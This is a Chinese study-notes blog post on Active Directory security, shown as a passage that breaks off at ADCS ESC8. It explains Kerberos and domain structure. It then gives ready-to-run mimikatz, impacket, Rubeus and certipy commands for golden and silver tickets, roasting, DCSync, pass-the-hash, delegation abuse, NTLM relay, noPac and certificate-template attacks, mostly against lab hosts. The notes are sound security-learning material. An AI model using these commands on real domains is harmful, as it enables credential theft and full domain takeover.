一直很纠结这篇文章要不要放到博客上,作为域安全学习的第一篇笔记,初学者记的很多内容肯定有很多不到位的地方,详细和专业程度肯定也比不上先知和freebuf上面的文章。
我更想把这篇文章作为导航,便于我以后的复习和记录来时路。

笔记如有瑕疵,敬请指正!

域的基本知识

参考:https://www.freebuf.com/articles/network/283763.html

(Domain)是一个有安全边界的计算机集合。在域环境中,由域控制器(Domain Controller,DC)来管理域内所有的客户端,负责每一台连入的电脑和用户的验证工作,域内主机如果想互相访问首先都得经过它的审核,域控是整个域架构的核心。

域中常见的角色:

角色 作用
Domain Controller 域控制器,简称DC,一台计算机,实现用户、计算机的统一管理。
Key Distribution Center 秘钥分发中心,简称KDC,默认安装在域控里,包括AS和TGS。
Authentication Service 身份验证服务,简称AS,用于KDC对Client认证。
Ticket Grantng Service 票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)。
Active Directory 活动目录,简称AD,用于存储用户、用户组、域相关的信息。
Client 客户端,指用户。
Server 服务端,可能是某台计算机,也可能是某个服务。

域控

域控(DC)负责每一台连入的电脑和用户的身份与权限验证工作。域控制器使用活动目录数据库(NTDS.dit),在该数据库中存储着整个域的账户、密码、属于这个域的计算机等各种信息。
一个域环境可以有多台域控。

NTDS.dit,位于%SystemRoot%\ntds\ntds.dit,运行时被禁止读取,里面的内容被加密,密钥存在System文件中,这和SAM比较像

活动目录和LDAP协议

活动目录(Active Directory)用于存储例如用户、组、计算机、共享资源、打印机和联系人等各种网络对象的信息。当域中的一台计算机安装了活动目录后,它就成了域控了。

LDAP协议:AD数据库采用树状结构,需要使用LDAP协议完成AD数据库的访问

AD的相关概念:

  1. 树的每一个节点都是一个条目,每个条目都有一个自己的名字,称为DN
  2. DN的命名,有点像域名的结构,由下往上一直延伸到顶级的一串路径,OU表示组织单位,CN表示通用名,一个DN可以记为:CN=DC01,OU=Domain Controllers,DC=whoamianony,DC=org

可以使用AD Explorer 工具连接域控来访问活动目录

由图中可以看到,AD被划分成了很多块,每个分区叫做一个Naming Context,简称NC。每个NC都有其自己的安全边界。

NC可分为:

  1. 域目录分区,主要储存域中机器、各种对象、控制器等
  2. 配置目录分区,主要存储着有关站点、服务以及整个活动目录结构,例如有哪些域、哪些域控等信息
  3. 架构目录分区,存储着整个林中所有对象与属性的定义数据和如何建立新对象与属性的规则

参考:https://www.freebuf.com/articles/network/283765.html
组是一个用户的集合,比如普通计算机的administrator组,在域中,可以通过将用户加入组中快捷完成权限配置。
安全组可以按照作用范围划分为全局组(Global Group)、通用组(Universal Group)和域本地组(Domain Local Group)

域本地组

域本地组只能访问当前域内的资源,但是可以收录外域的用户。以下命令可以查询域内的所有域本地组:

Adfind.exe -b dc=whoamianony,dc=org -bit -f "(&(objectClass=group)(grouptype:AND:=4))" cn -dn

Administrators管理员组,就是一个常见的域本地组,该组的成员可以不受限制地存取计算机/域的资源。不仅是最具有权限的一个组,也是在活动目录和域控制器中默认具有管理员权限的组,是域森林中强大的服务管理组。
Remote Desktop Users:远程登录组,处于远程登录组中的用户才有权限使用远程登录服务。

全局组

在单域中,使用域本地组;在域林中,使用通用组,而全局组介于两者中间,它可以在域林中使用,但是只能包含域本地的用户。全局组的使用范围是本域以及受信任关系的其他域。

总结:成员收得“窄”(只能是本域的人),但权限用得“宽”(可以去其他域访问资源)

以下命令可以查询域内的所有全局组:

Adfind.exe -b dc=whoamianony,dc=org -bit -f "(&(objectClass=group)(grouptype:AND:=2))" cn -dn

常见的全局组:

  1. Domain Admins,管理员组,该组的成员在所有加入域的服务器、域控制器和活动目录中均默认拥有完整的管理员权限。因为该组会被添加到自己所在域的 Administrators 组中,因此可以继承 Administrators 组的所有权限。
  2. Domain Users,域用户组,该组的成员中是所有的域用户。在默认情况下,任何由我们建立的更户账号都属于 Domain Users 组。因此,如果想让所有的账号都获得某种资源在取权限、可以将该权限指定给域用户组,或者让域用户组属于具有该权限的组。
  3. Domain Controllers,域控制器组,该组成员包含了域内所有的域控制器。
  4. Domain Guests,域访客用户组,该组内的成员默认为域访客用户,域成员计算机会自动将此组加到本地的 Guests 组中。

通用组

包括域林中任何域的用户账号、全局组和其他通用组,可以在该域林的任何域中指派权限。以下命令可以查询域内的所有域本地组:

Adfind.exe -b dc=whoamianony,dc=org -bit -f "(&(objectClass=group)(grouptype:AND:=8))" cn -dn

Enterprise Admins企业系统管理员组常见的域通用组,是域森林根域中的一个组。Enterprise Admins 组在域森林中的每个域内都是 Administrators 组的成员,因此对所有域控制器都有完全访问控制权。

域组的查询

查询所有域组:

Adfind.exe -b dc=whoamianony,dc=org -f "(objectClass=group)" cn -dn  
Adfind.exe -b dc=whoamianony,dc=org -f "(objectCategory=group)" cn -dn

通过grouptype确认域组的属性:

属性值 说明
1 (0x00000001) 指定一个组为系统创建的组
2 (0x00000002) 指定一个组为全局组
4 (0x00000004) 指定一个组为域本地组
8 (0x00000008) 指定一个组为通用组
16 (0x00000010) 为 Windows Server 授权管理器指定一个 APP_BASIC 组
32 (0x00000020) 为 Windows Server 授权管理器指定一个 APP_QUERY 组
2147483648 (0x80000000) 指定一个组为安全组, 如果未设置此位标志,则该组默认是通讯组

域用户和机器用户

域用户

域用户的账户储存在AD中,域用户账户是在域内全局组 Domain Users 组中,本地用户账户在本地 User 组中。当计算机加入域时,会把 Domain Users 组添加到本地的 User 组中。因此域用户可以在域中的任何一台计算机上登录。

域用户的userAccountControl属性记录了域用户的权限

Property flag Value in hexadecimal Value in decimal
SCRIPT 0x0001 1
ACCOUNTDISABLE 0x0002 2
HOMEDIR_REQUIRED 0x0008 8
LOCKOUT 0x0010 16
PASSWD_NOTREQD 0x0020 32
PASSWD_CANT_CHANGE 0x0040 64
ENCRYPTED_TEXT_PWD_ALLOWED 0x0080 128
TEMP_DUPLICATE_ACCOUNT 0x0100 256
NORMAL_ACCOUNT 0x0200 512
INTERDOMAIN_TRUST_ACCOUNT 0x0800 2048
WORKSTATION_TRUST_ACCOUNT 0x1000 4096
SERVER_TRUST_ACCOUNT 0x2000 8192
DONT_EXPIRE_PASSWORD 0x10000 65536
MNS_LOGON_ACCOUNT 0x20000 131072
SMARTCARD_REQUIRED 0x40000 262144
TRUSTED_FOR_DELEGATION 0x80000 524288
NOT_DELEGATED 0x100000 1048576
USE_DES_KEY_ONLY 0x200000 2097152
DONT_REQ_PREAUTH 0x400000 4194304
PASSWORD_EXPIRED 0x800000 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 0x1000000 16777216
每个字段什么意思顾名思义,这里有我们很熟悉的委派权限、密码过期时间属性等等

机器用户

所有加入域的主机都会有一个机器用户,用户名为机器名加$。在域环境中,普通域用户最多可以创建 10 个计算机账户,但是本地账号不能创建计算机账户。

当机器在域中时,电脑使用system账户与域控进行通信

查找域内的所有机器:

Adfind.exe -b dc=whoamianony,dc=org -f "(objectclass=Computer)" -dn  
Adfind.exe -b dc=whoamianony,dc=org -f "(objectcategory=Computer)" -dn

Kerberos协议

基本概念

Principal:大致可以认为是 Kerberos 世界的用户名,用于标识身份。
Keytab:密码本,包含了多个 principal 与密码的文件,用户可以利用该文件进行身份认证。
Ticket Cache:客户端与 KDC 交互完成后,包含身份认证信息的文件,短期有效,需要不断renew。 Realm:Kerberos 系统中的一个namespace。不同 Kerberos 环境,可以通过 realm 进行区分。

协议通信过程

”Kerberos“原自古希腊神话中守护地狱之门的三头犬,是一种基于加密Ticket身份认证协议,主要由三个部分组成:Client,Service和KDC(密钥分发机构)。
这张图说明了工作的流程:
client先向KDC申请TGT(Ticket Granting Ticket 票据授予票据),用户再使用TGT申请可以访问服务的ST(service ticket),最后拿着ST访问服务。
其中,KDC中分发TGT的称为AS,分发ST的称为TGS,另外的KerberosDB储存了一个realm中所有的principal、密码与其他信息。

详细的认证过程看: https://zhuanlan.zhihu.com/p/266491528https://www.roguelynn.com/words/explain-like-im-5-kerberos/

PAC

用户通过身份验证拿到TGT,解决了“who am i”的问题,而PAC(Privilege Attribute Certificate 特权访问证书),主要解决“what can i do”的问题,
即权限控制。

KDC的AS_REP(即上图的2)过程中会插入PAC,主要包含用户的SID,用户的组等信息,接着后续用户访问服务端时,服务端会拿着PAC去向DC验证,DC 拿到 PAC 后进行解密,返回对应用户的权限内容

Kerberos 认证中的相关安全问题

黄金票据

KDC使用krbtgt用户的hash对用户请求进行加密生产TGT,如果拿到krbtgt的hash,即可伪造任意票据

#使用mimikatz dump krbtgt的hash
lsadump::dcsync /user:krbtgt
#NTLM: 502a3e5a7b8c4f1d9d238bc8e4a8f8b8

#伪造黄金票据
kerberos::golden /user:administrator /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:502a3e5a7b8c4f1d9d238bc8e4a8f8b8 /ptt
#* Golden Ticket created and injected

如果不加/ptt参数,Mimikatz 通常会生成一个 .kirbi 格式的文件保存在磁盘上,后续只要域管没有重置krbtgt的hash,就可以随时注入使用。

白银票据

Kerberos使用TGS来进行服务访问验证,TGS使用服务的NTLM Hash进行签名,如果我们拿到了目标服务的账户的hash,就可以自己构造TGS,填入任意用户身份。由于服务只校验票据本身的合法性,不检查 KDC 是否真的颁发过这张票,因此票据通过验证,攻击者直接获得对该服务的访问权限。

黄金票据伪造TGT,而白银票据伪造的是ST,跳过了TGS认证,可以实现对某一服务的访问。

#提取机器账户的hash
sekurlsa::logonpasswords

kerberos::golden /user:administrator /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /target:web04.corp.com /service:cifs /rc4:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 /ptt
#* Silver Ticket created and injected
#kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx /target:dc.corp.com /service:cifs /rc4:服务账户的NTLM哈希 /user:administrator /ptt

AS-REP Roasting

如果域用户设置了选项 "Do not require Kerberos preauthentication",关闭了AS_REQ & AS_REP的身份预认证,此时向域控制器发送AS_REQ请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。

可以直接脱机离线爆破

# ldapsearch查询所有域用户并制作用户名的表
proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x | grep ',CN=Users,DC=xiaorang,DC=lab'

#使用 impacket-GetNPUsers 查找无需预身份验证的用户并获取其 TGT
proxychains4 -q impacket-GetNPUsers -dc-ip 172.22.15.13 -usersfile username.txt xiaorang.lab/

#hashcat爆破
hashcat -m 18200 --force -a 0

SPN

SPN,Service Principal Names,顾名思义就是服务的唯一标识符,是用于Kerberos身份验证的网络上标识服务的“身份证”。在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户或域用户帐户下为服务器注册 SPN。委派等依赖Kerberos都需要正确配置SPN。

SPN由以下部分组成:

<service class>/<host>: <port> <servername>  
服务类型  /对应机器名:服务端口[默认端口可不写]

其中 <service class> 和 <host> 为必需元素
# 使用域用户凭证查询 SPN(无需加入域)
python GetUserSPNs.py domain.com/username:password -dc-ip 10.0.0.1 -outputfile hashes.txt

Kerberoasting攻击

详细的原理参考:https://www.freebuf.com/articles/web/274070.html
本质上就是离线破解使用服务账号NTLMhash加密的TGS,从而得到服务账号的明文密码

TGS默认使用RC4-HMAC加密,如果使用AES-HMAC加密,则无法破解。

那么很明显,Kerberoasting攻击就两个步骤,第一查找并导出可破解的TGS,第二使用hashcat等离线破解。

  1. 查询SPN服务主体
#使用 SetSPN 查询
setspn -Q */*    # 查看当前域内所有的 SPN
setspn -T whoamianony.org -Q */*    # 查看指定域 whoamianony.org 注册的SPN, 如果指定域不存在, 则默认切换到查找本域的 SPN
setspn -L <username>/<hostname>    # 查找指定用户/主机名注册的 SPN

#使用Rubeus工具
Rubeus.exe kerberoast

#使用mimikatz
kerberos::ask /target:MySQL/PC2.whoamianony.org:3306 #请求服务票据
kerberos::list # 列出服务票据
kerberos::purge # 清除所有票据
  1. 导出TGS
#使用mimikatz,会导出后缀为kirbi的票据文件
kerberos::list /export
  1. 服务票据的暴力破解
hashcat.exe -m 13100 hash.txt wordlists.txt

DCSync

参考:https://www.freebuf.com/articles/network/286137.html

默认情况下,域内不同DC每隔15分钟会进行一次数据同步,同步域内用户的密码。DCSync利用的就是这个原理,通过伪装DC向真实DC发送数据同步请求,从而获取用户数据凭据。

想执行 DCSync,关键前提是获得具备AD目录复制权限的安全主体。默认情况下,这通常包括域控计算机账户和域管理员等高权限主体。此外,任何被委派了复制权限的账号也可能满足条件。
单纯成为某台普通成员机的本地管理员,并不等于具备DCSync能力。

DCSync 攻击的对象如果是只读域控制器 (RODC)会失效,因为 RODC 不能参与复制同步数据到其他 DC

一个用户具备dcsync,需要拥有:

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

可以使用adfind查找域内有dcsync权限的用户

AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

使用mimikatz来打dcsync:

lsadump::dcsync /domain:xiaorang.lab /all /csv

哈希传递 PtH

在Windows NTLM认证机制中,系统不总是需要明文密码,而是使用密码的哈希值进行认证。

也就是说,只要拿到管理员的密码hash,就可以以管理员的身份登陆域用户甚至域控。

#wmiexec,不依赖$admin
#完整hash是:Administrator:500:aad3b435b51404eeaad3b435b51404ee:d41d2c4614bf18fa34726d4c1ba69fc2:::
proxychains4 impacket-wmiexec -hashes :d41d2c4614bf18fa34726d4c1ba69fc2 Administrator@172.16.36.21

#使用crackmapexec
proxychains crackmapexec smb 172.22.9.26 -u administrator -H <域控 NTLM> -d xiaorang.lab -x "whoami"
proxychains crackmapexec smb 192.168.222.101 -u web_svc -p brainmirage003 -d mirage.com -x "whoami"

例:春秋云镜 Initial

委派攻击

参考:https://xz.aliyun.com/news/13854
值得注意的是,委派的运作,需要参与的每个账户都拥有SPN(必须是服务),实际攻击的过程中,可以创建一个机器账号,或者为用户注册一个SPN。

非约束委派攻击

当user访问serverA时,会向DC发起认证,如果serverA配置了非约束委派属性,那么DC会把用户的TGT连同ST一起返回给serverA,这样serverA就拿到了userA的TGT,可以使用这个TGT访问任何服务。

这个时候,如果我拿到了一个有非约束委派的机器的权限,并且能够强制管理员访问这台机器,那么我们就可以拿到管理员的TGT,使用这个TGT访问域内所有服务,完成非约束委派攻击。

可以使用adfind查看是否有配置非约束委派的机器:

Adinfo_win.exe -d xiaorang.lab --dc 172.22.4.7 -u WIN19$ -H 762fedf5c4eaaadce3992dffe46759dc

#[!Uncontrained Deligation Users]: 1 found
#[+] Win19$

攻击:

#打开监听
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
#/interval:1:每隔 1 秒钟就检查一次
#/nowrap:直接复制抓取到的base64编码票据


#尝试强制让DC访问本机
#使用MS-DFSNM协议漏洞:
proxychains python dfscoerce.py -u "WIN19$" -hashes :762fedf5c4eaaadce3992dffe46759dc -d xiaorang.lab win19 172.22.4.7
#也可以使用PetitPotam漏洞

然后注入票据,dcsync拿域控hash即可。

例:春秋云镜 Delegation

约束委派攻击

由于非约束委派的不安全性,windows server 2003中引入了S4U协议,是对Kerberos协议的拓展,主要分为S4U2SelfS4U2Proxy

S4U2Self允许一个服务代表用户向DC申请一个用户访问服务自身的Kerberos票据。主要解决的问题是例如用户使用密码登录Web服务,Web服务利用S4U2Self协议申请一个相对应的用户的票据,接着S4U2Proxy就支持Web服务就可以使用这个票据去访问比如说数据库服务。

从攻击的角度说,如果拿到约束委派账号的密码或者hash,就可以伪造S4U的请求,伪装成服务用户以任意用户 的权限申请访问指定服务的ST

查询约束委派账户

#使用adfind
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-
allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#使用impacket中的findDelegation.py
proxychains4 python3 findDelegation.py xiaorang.lab/user:password -dc-ip 172.22.11.6

拿到委派账号之后直接申请票据,导入环境变量,之后直接拿shell

proxychains4 python3 getST.py -dc-ip 172.22.11.6 -spn cifs/DC01.xiaorang.lab -impersonate Administrator xiaorang.lab/WebSvc -hashes :abc123abc123abc123abc123abc123ab

export KRB5CCNAME=Administrator.ccache

proxychains4 python3 wmiexec.py -k -no-pass Administrator@DC01.xiaorang.lab

基于资源的约束委派攻击

相比于前面两种,RBCD不再需要域管理员权限去设置相关属性,机器自己可以决定谁可以被委派来控制我。机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

从攻击的角度说,如果拿下了的配置了RBCD的机器,可以先修改委派,让RBCD机器信任Attacker机器,之后用S4U2Self签一张administrator的票据,之后配合S4U2proxy换成administrator可以访问某一服务的票据,就可以以admin访问目标服务,完成横向移动

proxychains4 python3 getST.py -dc-ip 172.22.11.6 -spn cifs/TARGET-HOSTNAME.xiaorang.lab -impersonate Administrator xiaorang.lab/xr-desktop\$:'机器账户的密码或Hash'

proxychains4 impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :c01c53262cc04f168cdbcc85f328c84d xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

#-impersonate administrator表示代表admin通过S4U2Self拿票据
#-spn cifs/XR-LCM3AE8B.xiaorang.lab表示攻击的目标服务是这台机器上的CIFS/SMB服务

这里注意的是kerbero协议不能直接使用ip,必须知道目标主机的spn,可以通过crackmapexec smb 172.22.11.26 看一下,然后把加到本机的 /etc/hosts 文件里

成功获得目标主机的服务票据后,impacket-getST攻击会生成一个.ccache文件,之后导入票据

export KRB5CCNAME=administrator.ccache

把172.22.11.26 XIAORANG\XR-LCM3AE8B加到/etc/hosts里后psexec无密码连接拿shell

proxychains python psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

NTLMHashRelay

参考:https://xz.aliyun.com/t/13124

ntlm的验证过程,本质上是客户端和服务端使用密码hash对同一个challenge(16位随机数)进行加密的过程,这个加密的过程在ntlmv2中使用HMAC-MD5计算。如果两端相同,则验证成功。

NTLMHashRelay我觉得可以按照中间人攻击来理解,攻击者可以伪造成客户端来完成身份验证,下面这个图说的很清楚了,其实攻击机只是完成了一个传递消息的作用。

要完成NTLMHash传递攻击,思路很清晰,就是先诱导域用户或者DC访问我的服务,我拿到受害机的Net-NTLM Hash,然后relay即可

  1. 诱导访问服务:思路不唯一,文章中有很多方法,比如春秋云境spoofing使用的petitpotam漏洞,还有一些比如Print Spooler打印机漏洞和基于windows历史漏洞的1click方法触发。
    petitpotam漏洞:
proxychains4 -q python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

rint Spooler打印机漏洞:

python3 printerbug.py hack/hack:Admin123@192.168.41.40 192.168.41.19
  1. relay工具:ntlmrelayx工具
proxychains4 -q python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

# --delegate-access:执行基于资源的约束委派(RBCD)设置。
# --no-dump、--no-da、--no-acl 只是告诉工具不要做其他多余操作,只专注于设置委派。

这里使用RBCD的原因是因为基于资源的委派的机器才能向DC请求修改自己的委派属性,攻击成功后,我们的攻击机相当于拿到了172.22.11.26的身份,ntlmrelayx.py工具可以利用这个身份修改机器的RBCD可信任列表(因为修改的是自己的信任列表),将xr-desktop$加入信任列表,接下来打基于资源的约束委派攻击即可

例:春秋云镜 Spoofing

nopac

参考: https://xz.aliyun.com/news/10142

nopac也称为 SamAccountName Spoofing,编号 CVE-2021-42278 和 CVE-2021-42287。

CVE-2021-42278:机器账户通常以$结尾,但是AD域验证的过程中并不会对$进行校验,所以我们可以创建一个机器用户,手动把账号名字改成不带$的名字,比如说DC。

CVE-2021-42287,使用DC这个名字通过S4U2Self去申请票据,但是域控在数据库中找不到这个名字,会自动联想匹配到DC$,提供一个高权限的PAC,最终获得域控制器DC的权限。

nopac漏洞在2021年11月修复,使用crackmapexec探测是否可利用:

proxychains4 crackmapexec smb 172.22.11.6 -u 'user' -p 'pass' -M nopac

使用nopac.py或者sam_the_admin.py可以一键打:
https://github.com/Ridter/noPac

proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell

例:春秋云镜 Spoofing

ADCS

参考:https://www.freebuf.com/articles/network/368120.html

域中使用Active Directory Certificate Services提供证书PKI服务,

PKINIT Kerberos认证可以替代原先的AS-req域认证的阶段,使用ADCS签发的证书来进行预认证

Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:hack.com /dc:DC.hack.com

拥有证书之后,可以利用这个证书拿到对应用户的NTLMhash:

#kekeo
#使用kekeo获取证书对应用户的NTLM Hash时,需要先将证书导入到系统中。
tgt::pac /subject:administrator /castore:current_user /domain:域名 /user:administrator /cred

证书

证书的具体内容

主要是:

  1. 最基本的内容:签发者、有效期、公钥、序列号等等
  2. EKU:主要规定证书能做什么
    客户端证书可带 id-pkinit-KPClientAuth,OID 是 1.3.6.1.5.2.3.4,可用于PKINIT用作客户端认证
    KDC 证书可带 id-pkinit-KPKdc,OID 是 1.3.6.1.5.2.3.5,允许用于 KDC 响应签名
  3. SAN:标记证书被绑定到哪个主体,例如和user@DOMAIN.COM绑定在一起
#查看域内证书
certutil -config - -ping

证书模版

是CA进行证书管理、注册和使用的一种规则和格式模版,通过预先配置证书,可以简化CA签发证书的过程。系统默认的证书模板绝大部分不允许修改,一般我们先复制一个证书模版,然后修改使用。

有几种分类:

  1. 用户模版
  2. 计算机模版

使用certifpy注册证书:

#注册用户模版的证书
certipy req -dc-ip 192.168.41.10 -u hack@hack.com -p Admin123 -target 192.168.41.60 -ca hack-SEVER2016-CA -template User -debug

#注册机器模版的证书
certipy req -u 'machine$'@hack.com -p pzxx2NLn8mvEQ9Zk -target 192.168.41.60 -ca hack-SEVER2016-CA -template Machine

证书导出

#导出用户证书
certutil -user -store My 证书的hash C:\user.cer
#导出包含公私钥的用户证书,会要求输入密码
certutil -user -exportPFX 证书的hash C:\user.pfx
#导出机器证书
certutil -store My 证书的hash C:\machine.cer
#导出包含公私钥的机器证书,会要求输入密码
certutil -exportPFX 证书的hash C:\machine.pfx

注意的是有些证书模版被设置了私钥不允许导出,比如域控证书模版,导出会报错。
这个时候可以使用mimikatz绕过检查完成导出:

mimikatz.exe
crypto::capi #patch Windows Crypto API,绕过不可导出检查
crypto::certificates /systemstore:local_machine /store:my /export

ADCS攻击:ESC1-ESC8

先来分个类:

证书模版配置错误:ESC1、ESC2、ESC3
模版对象ACL错误:ESC4、ESC5
CA配置或CA权限错误:ESC6、ESC7
Web注册入口打NTLM Relay:ESC8

查看可利用的漏洞

使用certipy查看可利用的漏洞,域内还可以使用certifykitADCSpwn

CertifyKit.exe find /vulnerable

ADCSPwn.exe --adcs ADCS.red.lab --remote DC2012.red.lab

certipy find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

一个一个来学习,比较主要的是ESC1和ESC8:

*ESC1:低权限用户可以申请高权限用户的证书

例:春秋云镜 Certify WriteUp

esc1攻击需要满足:

  1. msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
    表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
  2. PkiExtendedKeyUsage: Client Authentication
    表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
  3. Enrollment Rights: NT Authority\Authenticated Users
    表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
    简单来说就是普通用户可以帮域管申请证书,而这张证书又能用来身份验证,所以就横向了。

攻击的一般流程就是申请一个admin的证书然后用证书去拿ntlmhash

查看证书情况:

proxychains certipy find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

申请 XR Manager 证书模版并伪造域管理员,得到administrator.pfx

proxychains certipy req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

利用administrator.pfx证书获取 TGT 和 NTLM Hash

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

NTLM:2f1b57eefb2d152196836b0516abea80
然后就不用多说了,dcsync

ESC2:EKU配置过宽

参考:https://blog.csdn.net/qq_45746286/article/details/128872066
前面学到证书的EKU主要规定了证书可以做什么,和esc1的区别在于esc1可以指定任意san,而esc2虽然不能指定任意san,但是拿到的证书有很高的权限。

但是问题在于esc1可以自己申请域管证书,所以感觉esc2的滥用范围更小一些
Any Purpose为Ture为ESC2模板特征

#以ESC2为模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2

#使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx

#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

ESC3:证书模板定义了证书申请代理的 EKU

是ESC2的低配版,ESC2是EKU几乎没有限制,ESC3是允许代理申请证书。打法和ESC2一样,都是代理申请administrator证书

ESC4:证书有写入权限

ESC4是指用户对证书模板具有写入权限。可以滥用来覆盖证书模板的配置,以使该模板容易受到ESC1的攻击。
[[渗透/笔记/域渗透/pic/ac2ae2f90865afd96035a9816e2f8023_MD5.jpg|]]

#保留旧ESC4模板配置并修改ESC4模板
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4_1 -save-old
#利用新ESC4证书模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn administrator@lhc.local
#身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
#模板复原
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4 -configuration ESC4.json

ESC5:PKI 体系中权限配置过松

相比于ESC4的证书配置问题,ESC5的范围更广,不单单涉及一个证书,而是整个PKI相关对象的ACL有问题。

  1. 当获得了CA的权利权限后,通过导出私钥伪造证书
#备份导出私钥,导出为s-CS-CA.pfx
certipy ca -backup -u administrator -p 'admin@123' -ca s-CS-CA -target 10.10.10.145 -debug

#使用导出的私钥签名伪造证书
certipy forge -ca-pfx s-CS-CA.pfx -upn ADMINISTRATOR -subject CN=ADMINISTRATOR,CN=USERS,DC=s,DC=com

certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.10.146 -debug
  1. 如果可以控制CA发布恶意模版(Certificate Templates容器储存了模版)到林根CA上,那么可以尝试把环境弄成可以打ESC1-ESC3的条件,完成DA到EA的转变。
    参考:https://specterops.io/blog/2023/05/16/from-da-to-ea-with-esc5/

ESC6:CA配置错误导致启用SAN

CA 打开了 EDITF_ATTRIBUTESUBJECTALTNAME2 之后,请求者就可以在证书请求里提交任意 SAN 请求属性。
由于是CA配置错误,导致CA下所有的模版都会被滥用(User模版也可以)

打法和ESC1差不多:

#请求以hack用户为身份的User模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -upn administrator@lhc.local
#身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

ESC7:当用户或者所属组拥有管理CA权限

参考:https://cn-sec.com/archives/2281593.html
普通用户有管理CA的权限,直接往CA里配置高权限

给用户添加管理证书权限:

certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack

启用SubCA模板:

certipy ca -ca 's-CS-CA' -enable-template SubCA -target 10.10.10.145 -dc-ip 10.10.10.146 -u wangwu@s.com -p 'Wwadmin@123'

请求基于SubCA模板的证书。该请求将被拒绝,但我们将保存私钥并记下请求 ID

certipy req -u wangwu@s.com -p 'Wwadmin@123' -ca s-CS-CA -target 10.10.10.145 -dc-ip 10.10.10.146 -template SubCA -upn administrator@s.com
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 16
Would you like to save the private key? (y/N) y
[*] Saved private key to 16.key
[-] Failed to request certificate

使用我们的Manage CAand ,然后我们可以使用命令和参数Manage Certificates发出失败的证书请求。ca-issue-request <request ID>

certipy ca -ca 's-CS-CA' -issue-request 16 -u wangwu@s.com -p 'Wwadmin@123' -target 10.10.10.145 -dc-ip 10.10.10.146 

req最后,我们可以使用命令和-retrieve <request ID>参数检索颁发的证书

certipy req -u wangwu@s.com -p 'Wwadmin@123' -ca s-CS-CA -target 10.10.10.145 -dc-ip 10.10.10.146 -retrieve 16

认证

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.146 -debug

*ESC8:证书颁发机构启用Web Enrollment 打NTLM Relay

ADCS的证书颁发机构支持启用Web端来颁发证书,而这个web端支持NTLM身份验证并且默认不签名,造成可以打NTLM Relay。

先开启监听:
这里使用–adcs参数,并指定证书模版,这里如果攻击机自己访问不到的还要做一下端口转发,参见春秋云镜 Spoofing

